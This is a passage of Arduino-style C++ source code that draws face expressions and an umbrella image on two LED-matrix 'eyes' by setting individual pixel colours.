color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(248, color);\n righteye.setPixelColor(6, color);\n righteye.setPixelColor(7, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(118, color);\n righteye.setPixelColor(119, color);\n righteye.setPixelColor(143, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(223, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(247, color);\n righteye.setPixelColor(255, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace015()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(0, color);\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(21, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(29, color);\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(36, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(62, color);\n lefteye.setPixelColor(63, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(70, color);\n lefteye.setPixelColor(71, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(100, color);\n lefteye.setPixelColor(101, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(108, color);\n lefteye.setPixelColor(109, color);\n lefteye.setPixelColor(112, color);\n lefteye.setPixelColor(120, color);\n lefteye.setPixelColor(128, color);\n lefteye.setPixelColor(136, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(149, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(157, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(164, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(189, color);\n lefteye.setPixelColor(190, color);\n lefteye.setPixelColor(191, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(197, color);\n lefteye.setPixelColor(198, color);\n lefteye.setPixelColor(199, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(229, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(236, color);\n lefteye.setPixelColor(237, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(248, color);\n righteye.setPixelColor(7, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(18, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(26, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(35, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(56, color);\n righteye.setPixelColor(57, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(59, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(64, color);\n righteye.setPixelColor(65, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(98, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(106, color);\n righteye.setPixelColor(107, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(119, color);\n righteye.setPixelColor(127, color);\n righteye.setPixelColor(135, color);\n righteye.setPixelColor(143, color);\n righteye.setPixelColor(146, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(154, color);\n righteye.setPixelColor(155, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(159, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(184, color);\n righteye.setPixelColor(185, color);\n righteye.setPixelColor(186, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(192, color);\n righteye.setPixelColor(193, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(223, color);\n righteye.setPixelColor(226, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(234, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(247, color);\n righteye.setPixelColor(255, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace016()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(224, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(231, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace017()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(113, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(232, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(143, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(239, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace018()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(97, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(128, color);\n lefteye.setPixelColor(129, color);\n lefteye.setPixelColor(130, color);\n lefteye.setPixelColor(137, color);\n lefteye.setPixelColor(138, color);\n lefteye.setPixelColor(139, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(164, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(179, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(236, color);\n lefteye.setPixelColor(241, color);\n lefteye.setPixelColor(242, color);\n lefteye.setPixelColor(243, color);\n lefteye.setPixelColor(248, color);\n lefteye.setPixelColor(249, color);\n lefteye.setPixelColor(250, color);\n righteye.setPixelColor(5, color);\n righteye.setPixelColor(6, color);\n righteye.setPixelColor(7, color);\n righteye.setPixelColor(12, color);\n righteye.setPixelColor(13, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(35, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(43, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(59, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(107, color);\n righteye.setPixelColor(108, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(116, color);\n righteye.setPixelColor(117, color);\n righteye.setPixelColor(118, color);\n righteye.setPixelColor(125, color);\n righteye.setPixelColor(126, color);\n righteye.setPixelColor(127, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace019()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(0, color);\n lefteye.setPixelColor(1, color);\n lefteye.setPixelColor(2, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(10, color);\n lefteye.setPixelColor(11, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(36, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(100, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(107, color);\n lefteye.setPixelColor(108, color);\n lefteye.setPixelColor(113, color);\n lefteye.setPixelColor(114, color);\n lefteye.setPixelColor(115, color);\n lefteye.setPixelColor(120, color);\n lefteye.setPixelColor(121, color);\n lefteye.setPixelColor(122, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(133, color);\n righteye.setPixelColor(134, color);\n righteye.setPixelColor(135, color);\n righteye.setPixelColor(140, color);\n righteye.setPixelColor(141, color);\n righteye.setPixelColor(142, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(155, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(244, color);\n righteye.setPixelColor(245, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(253, color);\n righteye.setPixelColor(254, color);\n righteye.setPixelColor(255, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace020()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(36, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(45, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(85, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(97, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(164, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(173, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(181, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(189, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(197, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(205, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(213, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(234, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(223, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace021()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace022()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(199, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace023()\n{\nlefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(62, color);\n lefteye.setPixelColor(63, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(70, color);\n lefteye.setPixelColor(71, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(157, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(166, color);\n lefteye.setPixelColor(174, color);\n lefteye.setPixelColor(182, color);\n lefteye.setPixelColor(189, color);\n lefteye.setPixelColor(197, color);\n lefteye.setPixelColor(206, color);\n lefteye.setPixelColor(214, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(222, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(229, color);\n righteye.setPixelColor(26, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(33, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(41, color);\n righteye.setPixelColor(49, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(73, color);\n righteye.setPixelColor(81, color);\n righteye.setPixelColor(89, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(98, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(178, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(184, color);\n righteye.setPixelColor(185, color);\n righteye.setPixelColor(186, color);\n righteye.setPixelColor(192, color);\n righteye.setPixelColor(193, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(223, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawUmbrella()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(2, colorRed);\n lefteye.setPixelColor(4, colorWhite);\n lefteye.setPixelColor(8, colorRed);\n lefteye.setPixelColor(9, colorRed);\n lefteye.setPixelColor(10, colorRed);\n lefteye.setPixelColor(12, colorWhite);\n lefteye.setPixelColor(13, colorWhite);\n lefteye.setPixelColor(16, colorRed);\n lefteye.setPixelColor(17, colorRed);\n lefteye.setPixelColor(20, colorWhite);\n lefteye.setPixelColor(21, colorWhite);\n lefteye.setPixelColor(22, colorWhite);\n lefteye.setPixelColor(24, colorRed);\n lefteye.setPixelColor(25, colorRed);\n lefteye.setPixelColor(27, colorWhite);\n lefteye.setPixelColor(28, colorWhite);\n lefteye.setPixelColor(29, colorWhite);\n lefteye.setPixelColor(30, colorWhite);\n lefteye.setPixelColor(31, colorWhite);\n lefteye.setPixelColor(32, colorRed);\n lefteye.setPixelColor(34, colorWhite);\n lefteye.setPixelColor(35, colorWhite);\n lefteye.setPixelColor(36, colorWhite);\n lefteye.setPixelColor(40, colorRed);\n lefteye.setPixelColor(42, colorWhite);\n lefteye.setPixelColor(43, colorWhite);\n lefteye.setPixelColor(46, colorRed);\n lefteye.setPixelColor(47, colorRed);\n lefteye.setPixelColor(52, colorRed);\n lefteye.setPixelColor(53, colorRed);\n lefteye.setPixelColor(54, colorRed);\n lefteye.setPixelColor(58, colorRed);\n lefteye.setPixelColor(59, colorRed);\n lefteye.setPixelColor(60, colorRed);\n lefteye.setPixelColor(61, colorRed);\n lefteye.setPixelColor(62, colorRed);\n lefteye.setPixelColor(66, colorRed);\n lefteye.setPixelColor(67, colorRed);\n lefteye.setPixelColor(68, colorRed);\n lefteye.setPixelColor(69, colorRed);\n lefteye.setPixelColor(70, colorRed);\n lefteye.setPixelColor(76, colorRed);\n lefteye.setPixelColor(77, colorRed);\n lefteye.setPixelColor(78, colorRed);\n lefteye.setPixelColor(80, colorRed);\n lefteye.setPixelColor(82, colorWhite);\n lefteye.setPixelColor(83, colorWhite);\n lefteye.setPixelColor(86, colorRed);\n lefteye.setPixelColor(87, colorRed);\n lefteye.setPixelColor(88, colorRed);\n lefteye.setPixelColor(90, colorWhite);\n lefteye.setPixelColor(91, colorWhite);\n lefteye.setPixelColor(92, colorWhite);\n lefteye.setPixelColor(96, colorRed);\n lefteye.setPixelColor(97, colorRed);\n lefteye.setPixelColor(99, colorWhite);\n lefteye.setPixelColor(100, colorWhite);\n lefteye.setPixelColor(101, colorWhite);\n lefteye.setPixelColor(102, colorWhite);\n lefteye.setPixelColor(103, colorWhite);\n lefteye.setPixelColor(104, colorRed);\n lefteye.setPixelColor(105, colorRed);\n lefteye.setPixelColor(108, colorWhite);\n lefteye.setPixelColor(109, colorWhite);\n lefteye.setPixelColor(110, colorWhite);\n lefteye.setPixelColor(112, colorRed);\n lefteye.setPixelColor(113, colorRed);\n lefteye.setPixelColor(114, colorRed);\n lefteye.setPixelColor(116, colorWhite);\n lefteye.setPixelColor(117, colorWhite);\n lefteye.setPixelColor(122, colorRed);\n lefteye.setPixelColor(124, colorWhite);\n lefteye.setPixelColor(130, colorRed);\n lefteye.setPixelColor(132, colorWhite);\n lefteye.setPixelColor(136, 